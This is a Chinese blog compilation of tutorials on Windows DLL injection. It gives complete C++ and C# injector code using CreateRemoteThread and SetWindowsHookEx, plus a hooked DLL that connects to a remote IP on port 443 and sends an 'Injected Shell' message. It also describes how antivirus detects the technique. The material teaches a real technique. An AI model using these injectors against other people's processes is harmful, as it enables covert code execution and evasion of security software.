        fclose(fp);
    }      
       case DLL_THREAD_ATTACH:
       //A Thread is being created.
       MessageBox(NULL, L"RemoteThread has been created!", L"2nd RemoteThread", MB_OK);
       break;
       case DLL_THREAD_DETACH:
       //A Thtread is exiting cleanly.
       MessageBox(NULL, L"RemoteThread exit!", L"13rd RemoteThread", MB_OK);
       break;
       case DLL_PROCESS_DETACH:
       //The DLL is being ummapped from the process' address space
       MessageBox(NULL, L"DLL has been unmapped!", L"4th RemoteThread", MB_OK);
       break;
    }
    return TRUE;  //Used only for DLL_PROCESS_ATTACH
}
  
F  RemoteInjectExe.cpp
#include
#include
#include
#include
#include
 
extern int ListProcess();
extern int EnableDebugPriv(const WCHAR *);
 
int _tmain(int argc, TCHAR *argv[], TCHAR *env[])
{
    //为了成功使用CreateRemoteThread()函数,必须:
    //1.利用OpenProcess()获得远程进程的句柄
    //2.利用VirtualAllocEx(),WriteProcessMemory()写入DLL路径字符串
    //3.获得远程进程中LoadLibrary()的确切地址
 
    //输入进程ID获得进程句柄
    char YesNo;
    printf("是否查看当前进程列表获得进程ID: Y or N?");
    scanf("%c", &YesNo);
    Sleep(250);
    if (YesNo == 'Y' || YesNo == 'y')
       ListProcess();
    printf("请输入要注入的进程ID【‘’表示自身进程】:\n");
    DWORD dwRemoteProcessId;
    scanf("%d",&dwRemoteProcessId);
    //如果输入“”表示向自身进程注入
    if (dwRemoteProcessId == 0)
       dwRemoteProcessId = GetCurrentProcessId();
 
    //获得调试权限
    if (EnableDebugPriv(SE_DEBUG_NAME))
    {
       printf("Add Privilege error\n");
       return -1;
    }
    //调用OpenProcess()获得句柄
    HANDLE hRemoteProcess;
    if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId)) == NULL)
    {
       printf("OpenProcess error\n");
       printf("Error Code:%d\n",GetLastError());
       system("pause");
       return -2;
    }
 
    //在远程进程中分配内存,准备拷入DLL路径字符串
    //取得当前DLL路径
    char DllPath[260]; //Windows路径最大为
    GetCurrentDirectoryA(260, DllPath);  //获取当前进程执行目录
    printf("Proces***e Directory is %s\n", DllPath); 
    strcat(DllPath, "\\..\\Debug\\MyDLL.dll"); //链接到DLL路径
    LPVOID pRemoteDllPath = VirtualAllocEx(hRemoteProcess, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    if (pRemoteDllPath == NULL)
    {
       printf("VirtualAllocEx error\n");
       return -3;
    }
 
    //向远程进程空间中写入DLL路径字符串
    printf("DllPath is %s\n", DllPath);
    DWORD Size;
    if (WriteProcessMemory(hRemoteProcess, pRemoteDllPath, DllPath, strlen(DllPath) +1, &Size) == NULL)
    {
       printf("WriteProcessMemory error\n");
       return -4;
    }
    printf("WriteRrmoyrProcess Size is %d\n\n", Size);
 
    //获得远程进程中LoadLibrary()的地址
    LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
    if (pLoadLibrary == NULL)
    {
       printf("GetProcAddress error\n");
       return -5;
    }
    else
    {
       printf("LoadLibrary's Address is 0x%x\n\n", pLoadLibrary);
    }
 
    //启动远程线程
    DWORD dwThreadId;
    HANDLE hThread;
    if ((hThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pLoadLibrary, pRemoteDllPath, 0, &dwThreadId)) == NULL)
    {
       printf("CreateRemoteThread error\n");
       return -6;
    }
    else
    {
    WaitForSingleObject(hThread, INFINITE);
    printf("dwThreadId is %d\n\n", dwThreadId);
    printf("Inject is done\n");
    }
 
    //释放分配内存
    if (VirtualFreeEx(hRemoteProcess, pRemoteDllPath, 0, MEM_RELEASE) == 0)
    {
       printf("VitualFreeEx error\n");
       return -8;
    }
 
    //释放句柄
    if (hThread != NULL) CloseHandle(hThread);
    if (hRemoteProcess != NULL) CloseHandle(hRemoteProcess);
 
    system("pause");
    return 0;
}
 
六、运行测试
1.向记事本进程注入DLL


这里输出了一些数据作为调试时查看的参考,可以看到写入的DLL路径
这是DLL加载进远程进程地址空间时的DLL_PROCESS_ATTACH提示
这是远程线程创建时的DLL_THREAD_ATTACH提示
这是远程线程退出时DLL_THREAD_DETACH提示
查看此时记事本进程中的DLL模块
此时没有弹出DLL_PROCESS_DETACH提示,因为我们的DLL还存在于记事本进程中,关闭记事本
2.向自身进程注入
在实际编写时,常常会出现各种各样的问题而弄不清原因在本地进程还是远程进程。因而我们设定当输入的进程ID为0时,向自身进程注入DLL
然而当最后结束的时候却会出现错误:


在网上查询可以知道这种错误常常是由于杀毒软件或者防火墙造成的,关闭360木马防火墙后运行正常:
3.向其他进程注入
l  向Kugoo7.exe注入会弹出360提示,允许后注入成功,之后正常退出,Kugoo7正常运行


有意思的发现是,由于我们没有卸载Kugou7中的注入的DLL,因而在Kugou7播放的过程中时不时弹出创建线程的消息框提示,可见Kugou7本身在播放音乐的过程中也在不断创建、释放线程。
 
l  向搜狗输入法注入,依然是360弹出提示,允许后成功


仔细观察发现上面360弹出警告的程序点都在源码调用CreateRemoteThread()的时间点,可见360对该API进行了检测。
 
l  当向进程查看工具IceSword1.22注入时,在调用OpenProcess()时失败,提示内存分配访问无效,估计是设定了更高的访问权限,使得Ring3级别的访问基本都无效
========

DLL注入的几种姿势(一):Windows Hooks 

http://www.freebuf.com/articles/system/93413.html


DLL注入的目的是将代码放进另一个进程的地址空间中,所以要怎样才能实现DLL注入呢?


其实在Windows中有好几种方法可以实现,这里我们首先尝试通过“SetWindowsHookEx”创建钩子(hooks)来实现。另外如果你对这方面很感兴趣,可以参考文章最底下的相关文献,这些文献包含大量的代码以及其他有用的信息。


Windows Hooks


首先我们需要理解Windows的hook机制和API函数SetWindowsHookEx。Hook 机制允许应用程序截获处理窗口消息或特定事件。而钩子又可以分为多种,例如WH_KEYBOARD和WH_MOUSE,这两种钩子可以分别用来监视键盘和鼠标的消息。同样也存在这些钩子的低版本。要想理解Hook机制,必须要清楚的是每一个Hook事件的发生都有一个与之相关联的指针列表,称之为Hook链表。这个链表存在一系列的子进程,并且伴随着事件而执行。


下面是Hook子程的语法,来源MSDN:


图片1.png


使用SetWindowsHookEx实现DLL注入


使用API函数SetWindowsHookEx()把一个应用程序定义的Hook子程安装到 Hook链表中。这是该函数的语法,来源MSDN:


图片2.png


idHook是Hook的类型,lpfn是Hook子程的地址指针,hMod是应用程序实例的句柄,最后dwThreadId标识当前进程创建的线程。为了要让lpfn指向子程,首先通过LoadLibrary函数加载DLL文件至exe文件的地址空间中。然后通过GetProcessAddress获得所需函数的地址。最后调用SetWindowsHookEx,等待我们设置好的事件发生或者创建一个类似BroadcastSystemMessage的消息服务。一旦事件发生,Windows将会加载DLL至目标进程的地址空间中。


代码


下面的代码来源这里,首先通过LoadLibrary函数将DLL加载至可执行程序中。调用GetProcessAddress函数从DLL中获取注入地址。最后设置一个全局钩子(参数设置为0表示监视全局线程),监视程序。


injector.c


#include <windows.h>


int main(int argc, char* argv)
{
    /*
    Loads inject.dll into the address space of the calling function, in this case the running exe
    */
    HMODULE dll = LoadLibrary("inject.dll");
    if(dll == NULL)
    {
        printf("Cannot find DLL");
        getchar();
        return -1;
    }


    /*
    Gets the address of the inject method in the inject.dll
    */
    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "inject");
    if(addr == NULL)
    {
        printf("Cannot find the function");
        getchar();
        return -1;
    }


    /*
    Places a hook in the hookchain for WH_KEYBOARD type events, using the address for the inject method, with the library address
    */
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
    if(handle == NULL)
    {
        printf("Couldn't hook the keyboard");
    }


    printf("Hooked the program, hit enter to exit");
    getchar();
    UnhookWindowsHookEx(handle);


    return 0;
}
injectShell.c


#include <stdio.h>
#include <winsock2.h>
#include <windows.h>


INT APIENTRY DllMain(HMODULE hDll, DWORD Reason, LPVOID Reserved)
{
    FILE *file;
    fopen_s(&file, "C:\temp.txt", "a+");


    switch(Reason)
    {
        case DLL_PROCESS_ATTACH:
            fprintf(file, "DLL attach function called.n");
            break;
        case DLL_PROCESS_DETACH:
            fprintf(file, "DLL detach function called.n");
            break;
        case DLL_THREAD_ATTACH:
            fprintf(file, "DLL thread attach function called.n");
            break;
        case DLL_THREAD_DETACH:
            fprintf(file, "DLL thread detach function called.n");
            break;
    }


    fclose(file);


    return TRUE;
}
int inject(int code, WPARAM wParam, LPARAM lParam)
{


    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    char *message;


    printf("\nInitializing Winsock...");
    if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
    {
        printf("Failed. Error Code : %d", WSAGetLastError());
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }


    printf("Initialized. \n");


    if((s = socket(AF_INET, SOCK_STREAM, 0 )) == INVALID_SOCKET)
    {
        printf("Could not create socket : %d", WSAGetLastError());
    }


    printf("Socket Created. \n");


    server.sin_addr.s_addr = inet_addr("192.168.146.130"); //ip address
    server.sin_family = AF_INET;
    server.sin_port = htons( 443 );


    if(connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
    {
        puts("connect error");
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }


    puts("Connected");


    message = "Injected Shell";
    if( send(s, message, strlen(message), 0) <0)
    {
        puts("Send failed");
        return(CallNextHookEx(NULL, code, wParam, lParam));
    }
    puts("Data sent\n");


    return(CallNextHookEx(NULL, code, wParam, lParam));


}
这里我们可以看到,该DLL文件连接其他主机。


图片3.png


接下来,DLL加载至另一个不同的进程中,成功!


图片4.png


尽管这段代码还存在问题,但我们设置的全局钩子意味着可以监视任何按键信息。换句话说我们最终可以注入一些预期之外的东西。幸运的是,可以注入至一个特定的进程中。还有另一个包含一些必要修改的版本。MSDN帮助我获得了一些我所需要的东西。这段代码向目标注入中增加了一些额外的步骤。首先,获得注入进程的id。通过这个获得这个进程的线程id,而SetWindowsHookEx 函数中的最后的一个参数就是线程的id。接着开始监视我们的进程,我们只需等待。


injector2.c


#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#include <tlhelp32.h>


/*
This method is used to get a thread id for a process. 
It loops through all of the threads and compares their pid with the desired pid
*/
DWORD getThreadID(DWORD pid)
{
    puts("Getting Thread ID");
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if(h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te;
        te.dwSize = sizeof(te);
        if( Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    if(te.th32OwnerProcessID == pid)
                    {
                        HANDLE hThread = OpenThread(READ_CONTROL, FALSE, te.th32ThreadID);
                        if(!hThread)
                        {
                            puts("Couldn't get thread handle");
                        }
                        else
                        {
                            //DWORD tpid = GetProcessIdOfThread(hThread);
                            //printf("Got one: %u\n", tpid);
                            return te.th32ThreadID;
                        }
                    }
                }
            } while( Thread32Next(h, &te));
        }
    }
    CloseHandle(h);
    return (DWORD)0;
}


/*
This method performs the actual injection. It gets an appropriate thread id, loads the dll, 
gets the address of the inject method, then calls SetWindowsHookEx.
*/
int processInject(int pid)
{
    DWORD processID = (DWORD)pid;


        TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");


        HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);


        if (NULL != hProcess)
        {
                HMODULE hMod;
                DWORD cbNeeded;


                if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
                {
                        GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName)/sizeof(TCHAR) );
                }
        }


    _tprintf( TEXT("Injecting into process %s PID: %u\n"), szProcessName, processID);


    DWORD threadID = getThreadID(processID);


    printf( "Using Thread ID %u\n", threadID);


    if(threadID == (DWORD)0)
    {
        puts("Cannot find thread");
        return -1;
    }


    HMODULE dll = LoadLibrary("inject2.dll");
    if(dll == NULL)
    {
        puts("Cannot find DLL");
        return -1;
    }


    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "test");
    if(addr == NULL)
    {
        puts("Cannot find the function");
        return -1;
    }
    //Uses the threadID from getThreadID to inject into specific process
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);


    if(handle == NULL)
    {
        puts("Couldn't hook the keyboard");
    }
    getchar();
    getchar();
    getchar();
    UnhookWindowsHookEx(handle);
    return 0;
}


int main(int argc, char* argv)
{


    int pid;
    puts("Inject into which PID?");
        scanf ("%u",&pid);
    printf("PID entered: %u\n", pid);
    int result = processInject(pid);
    if(result == -1)
    {
        puts("Could not inject");
    }
    else
    {
        puts("Injected!");
    }
    getchar();
}
test1.c


#include <stdio.h>
#include <windows.h>
int test()
{
    char str[80];
    /*
    Get's the current process id to display in the message box
    */
    int id = GetCurrentProcessId();
    sprintf(str, "Hello, process: %d", id);
    MessageBox(NULL, str, "Hello DLL!", MB_OK);
    return 0;
}
图片5.png


可以看到,这是从我们所选择的进程中运行的消息框。通过Process Explorer可以看到DLL同时加载到Notepad++和injector程序中,这个正是由于程序本身就加载了DLL文件。


图片6.png


尽管如此,监视进程还存在一定的局限性。一个进程必须存在消息循环并且确保能够接收消息,这样才能被监视到。这个主要限制了基于GUI的应用程序的目标。SetWindowsHookEx 同样不能具有更高完整性的进程中使用。


逆向代码


下面是IDA逆向第一个injector的代码。


图片7.png


上图虽然不是进程的整个流图,但是我们可以看到主要的SetWindowsHookEx部分。首先通过LoadLibraryA加载inject.dll。可以注意到,param1 在每个函数调用前被使用。将偏移地址保存在第一个参数所在的堆栈地址中。因此它获得注入函数(dllMethod)的地址,之后将DLL的句柄赋给param1,调用GetProcAddress。最后,加载SetWindowsHookEx的参数值,并调用函数。对比下第二个函数。


图片8.png


相比之下只有一个不同点,将threadID复制至寄存器中,之后再将其复制至第四个参数所在的堆栈地址中,再调用SetWindowsHookEx函数。是不是还不错?在下一篇将准备开写远程线程注入方法,期待吧!


参考资料


http://win32assembly.programminghorizon.com/tut24.html


https://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks


https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx


http://blogs.msdn.com/b/oldnewthing/archive/2006/02/23/537856.aspx


http://www.binarytides.com/winsock-socket-programming-tutorial/


http://resources.infosecinstitute.com/using-setwindowshookex-for-dll-injection-on-windows/


http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html


https://github.com/malark3y/DLL-Injection


https://warroom.securestate.com/index.php/real-world-malware-analysis/
========

使用C#完成DLL注入

http://blog.sina.com.cn/s/blog_4bd471210100s8qa.html
dll目录不能有中文


关于DLL注入,我们这里不讨论这个技术的应用,只关注于技术的实现,由于最近一直在学习C#所以就想使用C#来试试,其实这个注入跟什么编程语言没有多大的关系,由于都是调用API实现的,又由于最近看的都是C#的,所以希望这里不会对朋友们造成误解!
            
    在开始编程之前,我们先找一个dll文件,这里我准备了一个DLL


[转载]使用C#完成DLL注入
这里我是使用EditPlus编写的,朋友们也可以使用VC++来编写一个DLL。
这个DLL中主要就是注入后会在注入的目标程序的根目录生成一个txt文件。
 
DLL准备完毕后,还要准备一个目标程序,主要就是将DLL注入到这个程序,由于我是测试,就随便写了个目标程序,朋友们也可以用系统中现有的程序来作为目标,比如QQ,计算器啦,等等!


[转载]使用C#完成DLL注入
接下来我们就尝试下完成DLL的注入。
主要步骤:
         A:通过窗体的Title或者进程信息找到程序的句柄。
         B:获得进程句柄、分配内存。
         C:写入数据。
         D:创建线程执行。
 
A:查找到目标程序
主要用的API有:
         [DllImport("user32.dll", EntryPoint = "FindWindow")]
private extern static IntPtr FindWindow(string lpClassName, string lpWindowName);
 
[DllImport("User32.dll", CharSet = CharSet.Auto)]
public static extern int GetWindowThreadProcessId(IntPtr hwnd, out int ID);
         
当然获得句柄的方法有很多,这里我就用这种方法做演示。
 
调用函数找到窗体(这里找的是窗体的):
IntPtr hwnd = FindWindow(null, "目标程序");
查找进程的ID
int PID;
GetWindowThreadProcessId(hwnd, out PID);
 
B:
         主要用的API有:
         [DllImport("kernel32.dll")]
     public static extern int OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
     [DllImport("kernel32.dll")]
     public static extern int VirtualAllocEx(int hwnd, int lpaddress, int size, int type, int tect);
 
         调用函数获得操作的句柄
         int calcProcess = OpenProcess(2 | 8| 32, false, PID);
     分配内存空间,获得首地址
     int address = VirtualAllocEx(calcProcess, 0, @"D:\dll.dll".Length + 1, 4096, 64);
 
C:
         主要用到的API是:
         [DllImport("kernel32.dll")]
     public static extern int WriteProcessMemory(int hwnd, int baseaddress, string buffer, int nsize, int filewriten);
    
     调用函数写入内存
     if (WriteProcessMemory(calcProcess, address, @"D:\dll.dll", @"D:\dll.dll".Length + 1, 0) == 0)
     {
       MessageBox.Show("写入内存失败!");
     }
 
D:
         主要用到的API有:
         [DllImport("kernel32.dll")]
     public static extern int GetModuleHandleA(string name);
 
    [DllImport("kernel32.dll")]
public static extern int GetProcAddress(int hwnd, string lpname);
 
[DllImport("kernel32.dll")]
public static extern int CreateRemoteThread(int hwnd, int attrib, int size, int address, int par, int flags, int threadid);
 
调用Kernel32 的LoadLibraryA 方法来加载咱们的DLL
if (CreateRemoteThread(calcProcess, 0, 0, GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA"), address, 0, 0) == 0)
        MessageBox.Show("创建失败!");
    else
        MessageBox.Show("成功");
========

通用 C# DLL 注入器injector(注入dll不限)

http://www.cnblogs.com/meyon/p/4009248.html
  为了方便那些不懂或者不想用C++的同志,我把C++的dll注入器源码转换成了C#的,这是一个很简单实用的注入器,用到了CreateRemoteThread,WriteProcessMemory ,VirtualAllocEx这几个Api


  1 using System;
  2 using System.Diagnostics;
  3 using System.IO;
  4 using System.Runtime.InteropServices;
  5 using System.Text;
  6 
  7 namespace GijSoft.DllInjection
  8 {
  9     public enum DllInjectionResult
 10     {
 11         DllNotFound,
 12         GameProcessNotFound,
 13         InjectionFailed,
 14         Success
 15     }
 16 
 17     public sealed class DllInjector
 18     {
 19         static readonly IntPtr INTPTR_ZERO = (IntPtr)0;
 20 
 21         [DllImport("kernel32.dll", SetLastError = true)]
 22         static extern IntPtr OpenProcess(uint dwDesiredAccess, int bInheritHandle, uint dwProcessId);
 23 
 24         [DllImport("kernel32.dll", SetLastError = true)]
 25         static extern int CloseHandle(IntPtr hObject);
 26 
 27         [DllImport("kernel32.dll", SetLastError = true)]
 28         static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
 29 
 30         [DllImport("kernel32.dll", SetLastError = true)]
 31         static extern IntPtr GetModuleHandle(string lpModuleName);
 32 
 33         [DllImport("kernel32.dll", SetLastError = true)]
 34         static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);
 35 
 36         [DllImport("kernel32.dll", SetLastError = true)]
 37         static extern int WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, int lpNumberOfBytesWritten);
 38 
 39         [DllImport("kernel32.dll", SetLastError = true)]
 40         static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttribute, IntPtr dwStackSize, IntPtr lpStartAddress,
 41             IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
 42 
 43         static DllInjector _instance;
 44 
 45         public static DllInjector GetInstance
 46         {
 47             get
 48             {
 49                 if (_instance == null)
 50                 {
 51                     _instance = new DllInjector();
 52                 }
 53                 return _instance;
 54             }
 55         }
 56 
 57         DllInjector() { }
 58 
 59         public DllInjectionResult Inject(string sProcName, string sDllPath)
 60         {
 61             if (!File.Exists(sDllPath))
 62             {
 63                 return DllInjectionResult.DllNotFound;
 64             }
 65 
 66             uint _procId = 0;
 67 
 68             Process[] _procs = Process.GetProcesses();
 69             for (int i = 0; i < _procs.Length; i++)
 70             {
 71                 if (_procs[i].ProcessName == sProcName)
 72                 {
 73                     _procId = (uint)_procs[i].Id;
 74                     break;
 75                 }
 76             }
 77 
 78             if (_procId == 0)
 79             {
 80                 return DllInjectionResult.GameProcessNotFound;
 81             }
 82 
 83             if (!bInject(_procId, sDllPath))
 84             {
 85                 return DllInjectionResult.InjectionFailed;
 86             }
 87 
 88             return DllInjectionResult.Success;
 89         }
 90 
 91         bool bInject(uint pToBeInjected, string sDllPath)
 92         {
 93             IntPtr hndProc = OpenProcess((0x2 | 0x8 | 0x10 | 0x20 | 0x400), 1, pToBeInjected);
 94 
 95             if (hndProc == INTPTR_ZERO)
 96             {
 97                 return false;
 98             }
 99 
100             IntPtr lpLLAddress = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
101 
102             if (lpLLAddress == INTPTR_ZERO)
103             {
104                 return false;
105             }
106 
107             IntPtr lpAddress = VirtualAllocEx(hndProc, (IntPtr)null, (IntPtr)sDllPath.Length, (0x1000 | 0x2000), 0X40);
108 
109             if (lpAddress == INTPTR_ZERO)
110             {
111                 return false;
112             }
113 
114             byte[] bytes = Encoding.ASCII.GetBytes(sDllPath);
115 
116             if (WriteProcessMemory(hndProc, lpAddress, bytes, (uint)bytes.Length, 0) == 0)
117             {
118                 return false;
119             }
120 
121             if (CreateRemoteThread(hndProc, (IntPtr)null, INTPTR_ZERO, lpLLAddress, lpAddress, 0, (IntPtr)null) == INTPTR_ZERO)
122             {
123                 return false;
124             }
125 
126             CloseHandle(hndProc);
127 
128             return true;
129         }
130     }
131 }


注意:使用时必须安装.netFramework
========
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/bcbobo21cn/article/details/70526865

智能推荐

攻防世界_难度8_happy_puzzle_攻防世界困难模式攻略图文-程序员宅基地

文章浏览阅读645次。这个肯定是末尾的IDAT了,因为IDAT必须要满了才会开始一下个IDAT,这个明显就是末尾的IDAT了。,对应下面的create_head()代码。,对应下面的create_tail()代码。不要考虑爆破,我已经试了一下,太多情况了。题目来源:UNCTF。_攻防世界困难模式攻略图文

达梦数据库的导出(备份)、导入_达梦数据库导入导出-程序员宅基地

文章浏览阅读2.9k次,点赞3次,收藏10次。偶尔会用到,记录、分享。1. 数据库导出1.1 切换到dmdba用户su - dmdba1.2 进入达梦数据库安装路径的bin目录,执行导库操作  导出语句:./dexp cwy_init/[email protected]:5236 file=cwy_init.dmp log=cwy_init_exp.log 注释:   cwy_init/init_123..._达梦数据库导入导出

js引入kindeditor富文本编辑器的使用_kindeditor.js-程序员宅基地

文章浏览阅读1.9k次。1. 在官网上下载KindEditor文件,可以删掉不需要要到的jsp,asp,asp.net和php文件夹。接着把文件夹放到项目文件目录下。2. 修改html文件,在页面引入js文件:<script type="text/javascript" src="./kindeditor/kindeditor-all.js"></script><script type="text/javascript" src="./kindeditor/lang/zh-CN.js"_kindeditor.js

STM32学习过程记录11——基于STM32G431CBU6硬件SPI+DMA的高效WS2812B控制方法-程序员宅基地

文章浏览阅读2.3k次,点赞6次,收藏14次。SPI的详情简介不必赘述。假设我们通过SPI发送0xAA,我们的数据线就会变为10101010,通过修改不同的内容,即可修改SPI中0和1的持续时间。比如0xF0即为前半周期为高电平,后半周期为低电平的状态。在SPI的通信模式中,CPHA配置会影响该实验,下图展示了不同采样位置的SPI时序图[1]。CPOL = 0,CPHA = 1:CLK空闲状态 = 低电平,数据在下降沿采样,并在上升沿移出CPOL = 0,CPHA = 0:CLK空闲状态 = 低电平,数据在上升沿采样,并在下降沿移出。_stm32g431cbu6

计算机网络-数据链路层_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输-程序员宅基地

文章浏览阅读1.2k次,点赞2次,收藏8次。数据链路层习题自测问题1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与”数据链路接通了”的区别何在?2.数据链路层中的链路控制包括哪些功能?试讨论数据链路层做成可靠的链路层有哪些优点和缺点。3.网络适配器的作用是什么?网络适配器工作在哪一层?4.数据链路层的三个基本问题(帧定界、透明传输和差错检测)为什么都必须加以解决?5.如果在数据链路层不进行帧定界,会发生什么问题?6.PPP协议的主要特点是什么?为什么PPP不使用帧的编号?PPP适用于什么情况?为什么PPP协议不_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输

软件测试工程师移民加拿大_无证移民,未受过软件工程师的教育(第1部分)-程序员宅基地

文章浏览阅读587次。软件测试工程师移民加拿大 无证移民,未受过软件工程师的教育(第1部分) (Undocumented Immigrant With No Education to Software Engineer(Part 1))Before I start, I want you to please bear with me on the way I write, I have very little gen...

随便推点

Thinkpad X250 secure boot failed 启动失败问题解决_安装完系统提示secureboot failure-程序员宅基地

文章浏览阅读304次。Thinkpad X250笔记本电脑,装的是FreeBSD,进入BIOS修改虚拟化配置(其后可能是误设置了安全开机),保存退出后系统无法启动,显示:secure boot failed ,把自己惊出一身冷汗,因为这台笔记本刚好还没开始做备份.....根据错误提示,到bios里面去找相关配置,在Security里面找到了Secure Boot选项,发现果然被设置为Enabled,将其修改为Disabled ,再开机,终于正常启动了。_安装完系统提示secureboot failure

C++如何做字符串分割(5种方法)_c++ 字符串分割-程序员宅基地

文章浏览阅读10w+次,点赞93次,收藏352次。1、用strtok函数进行字符串分割原型: char *strtok(char *str, const char *delim);功能:分解字符串为一组字符串。参数说明:str为要分解的字符串,delim为分隔符字符串。返回值:从str开头开始的一个个被分割的串。当没有被分割的串时则返回NULL。其它:strtok函数线程不安全,可以使用strtok_r替代。示例://借助strtok实现split#include <string.h>#include <stdio.h&_c++ 字符串分割

2013第四届蓝桥杯 C/C++本科A组 真题答案解析_2013年第四届c a组蓝桥杯省赛真题解答-程序员宅基地

文章浏览阅读2.3k次。1 .高斯日记 大数学家高斯有个好习惯:无论如何都要记日记。他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210后来人们知道,那个整数就是日期,它表示那一天是高斯出生后的第几天。这或许也是个好习惯,它时时刻刻提醒着主人:日子又过去一天,还有多少时光可以用于浪费呢?高斯出生于:1777年4月30日。在高斯发现的一个重要定理的日记_2013年第四届c a组蓝桥杯省赛真题解答

基于供需算法优化的核极限学习机(KELM)分类算法-程序员宅基地

文章浏览阅读851次,点赞17次,收藏22次。摘要:本文利用供需算法对核极限学习机(KELM)进行优化,并用于分类。

metasploitable2渗透测试_metasploitable2怎么进入-程序员宅基地

文章浏览阅读1.1k次。一、系统弱密码登录1、在kali上执行命令行telnet 192.168.26.1292、Login和password都输入msfadmin3、登录成功,进入系统4、测试如下:二、MySQL弱密码登录:1、在kali上执行mysql –h 192.168.26.129 –u root2、登录成功,进入MySQL系统3、测试效果:三、PostgreSQL弱密码登录1、在Kali上执行psql -h 192.168.26.129 –U post..._metasploitable2怎么进入

Python学习之路:从入门到精通的指南_python人工智能开发从入门到精通pdf-程序员宅基地

文章浏览阅读257次。本文将为初学者提供Python学习的详细指南,从Python的历史、基础语法和数据类型到面向对象编程、模块和库的使用。通过本文,您将能够掌握Python编程的核心概念,为今后的编程学习和实践打下坚实基础。_python人工智能开发从入门到精通pdf

推荐文章

热门文章

相关标签